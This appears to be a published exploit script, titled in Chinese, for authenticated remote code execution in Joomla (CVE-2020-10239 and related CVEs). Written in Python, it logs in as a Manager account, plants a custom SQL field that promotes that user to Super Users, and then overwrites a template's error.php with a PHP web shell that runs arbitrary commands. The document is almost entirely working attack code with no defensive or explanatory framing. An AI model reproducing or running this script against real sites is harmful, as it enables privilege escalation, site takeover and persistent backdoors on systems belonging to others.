Joomla 授权 RCE漏洞 (CVE 2020 11890 CVE 2020 10238 CVE 2020 10239)

#!/usr/bin/python
#CVE-2020-10239
import sys
import requests
import re
import argparse
import random


def extract_token(resp):
    match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
    if match is None:
        print("[-] Cannot find CSRF token!\n")
        return None
    return match.group(1)


def try_admin_login(sess, url, uname, upass):
    admin_url = url + '/administrator/index.php'
    print('[+] Getting token for Manager login')
    resp = sess.get(admin_url, verify=True)
    token = extract_token(resp)
    if not token:
        return False
    print('[+] Logging in to Manager')
    data = {
        'username': uname,
        'passwd': upass,
        'task': 'login',
        token: '1'
    }
    resp = sess.post(admin_url, data=data, verify=True)
    if 'task=profile.edit' not in resp.text:
        print('[!] Manager Login Failure!')
        return None
    print('[+] Manager Login Successfully!')
    return True


def check_admin(sess, url):
    url_check = url + '/administrator/index.php?option=com_content'
    resp = sess.get(url_check, verify=True)
    token = extract_token(resp)
    if not token:
        print "[-] You are not Manager!"
        sys.exit()
    return token


def getManagerId(url, sess):
    url_get = url + '/administrator/index.php?option=com_admin&view=profile&layout=edit'
    resp = sess.get(url_get, verify=True)
    # get id
    return re.findall('id=\d+', resp.text)

def createNewField(url, sess,token):
    data = {
        'jform[title]': 'SQL query',
        'jform[type]': 'text',
        'jform[name]': 'SQL query',
        'jform[label]': 'SQL query',
        'jform[description]': 'SQL query',
        'jform[required]': 1,
        'jform[state]': 1,
        'jform[group_id]': 0,
        'jform[access]': 1,
        'jform[language]': '*',
        'jform[params][showlabel]': 1,
        'jform[params][display]': 2,
        'jform[params][display_readonly]': 2,
        'jform[id]': 0,
        'jform[context]': 'com_content.article',
        'task': 'field.apply',
        token: 1
    }
    resp = sess.post(url + "/administrator/index.php?option=com_fields&context=com_content.article", data=data, verify=True)
    id = re.findall('id=\d+', resp.text)
    id_account = getManagerId(url, sess)
    ran = '%d' % random.randrange(1, 10000)
    url_post = url + '/administrator/index.php?option=com_fields&context=com_content.article&layout=edit&' + id[0]
    newdata = {
        'jform[title]': 'SQL query ' + ran,
        'jform[type]': 'sql',
        'jform[name]': 'SQL query ' + ran,
        'jform[label]': 'SQL query ' + ran,
        'jform[description]': 'SQL query',
        'jform[required]': 1,
        'jform[fieldparams][query]': 'UPDATE #__user_usergroup_map SET group_id = 8 WHERE user_' + id_account[
            0] + ' AND group_id BETWEEN 6 AND 7; ',
        'jform[state]': 1,
        'jform[group_id]': 0,
        'jform[access]': 1,
        'jform[language]': '*',
        'jform[params][showlabel]': 1,
        'jform[params][display]': 2,
        'jform[params][display_readonly]': 2,
        'jform[id]': id,
        'task': 'field.apply',
        'jform[context]': 'com_content.article',
        token: 1
    }
    newdata['task'] = 'field.apply'
    sess.post(url_post, data=newdata, verify=True)
    # Trigger SQL query
    url_sql = url + '/administrator/index.php?option=com_content&view=article&layout=edit'
    sess.get(url_sql, verify=True)


def checkSuperAdmin(url, sess):
    print("[+] Checking Super-admin")
    url_config = url + '/administrator/index.php?option=com_config'
    resp = sess.get(url_config, verify=True)
    results = re.findall(r'name="([^"]+)"\s+[^>]*?value="([^"]+)"', resp.text, re.S)
    if not results:
        print("[!] Fail!" + ' You are not super-admin account')
        return False
    else:
        print "[+] Done!"
        return True


def rce(sess, url, cmd, token):
    filename = 'error.php'
    shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D'
    shdata_up = {
        'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>",
        'task': 'template.apply',
        token: '1',
        'jform[extension_id]': '506',
        'jform[filename]': '/' + filename
    }
    sess.post(shlink, data=shdata_up)
    path2shell = '/templates/protostar/error.php?cmd=' + cmd
    # print '[+] Shell is ready to use: ' + str(path2shell)
    print '[+] Checking:'
    shreq = sess.get(url + path2shell)
    shresp = shreq.text
    print shresp + '[+] Shell link: \n' + (url + path2shell)
    print '[+] Module finished.'

def main():
    # Construct the argument parser
    ap = argparse.ArgumentParser()
    # Add the arguments to the parser
    ap.add_argument("-url", "--url", required=True,
                    help=" URL for your Joomla target")
    ap.add_argument("-u", "--username", required=True,
                    help="username")
    ap.add_argument("-p", "--password", required=True,
                    help="password")
    ap.add_argument("-cmd", "--command", default="whoami",
                    help="command")
    args = vars(ap.parse_args())
    # target
    url = format(str(args['url']))
    print '[+] Your target: ' + url
    # username
    uname = format(str(args['username']))
    # password
    upass = format(str(args['password']))
    # command
    command = format(str(args['command']))
    # session
    sess = requests.Session()
    if not try_admin_login(sess, url, uname, upass): sys.exit()
    token = check_admin(sess, url)
    # trigger SQL query
    createNewField(url, sess,token)
    # Now you are Super-admin
    if (checkSuperAdmin(url, sess)):
        # call RCE
        rce(sess, url, command, token)

if __name__ == "__main__":
    sys.exit(main())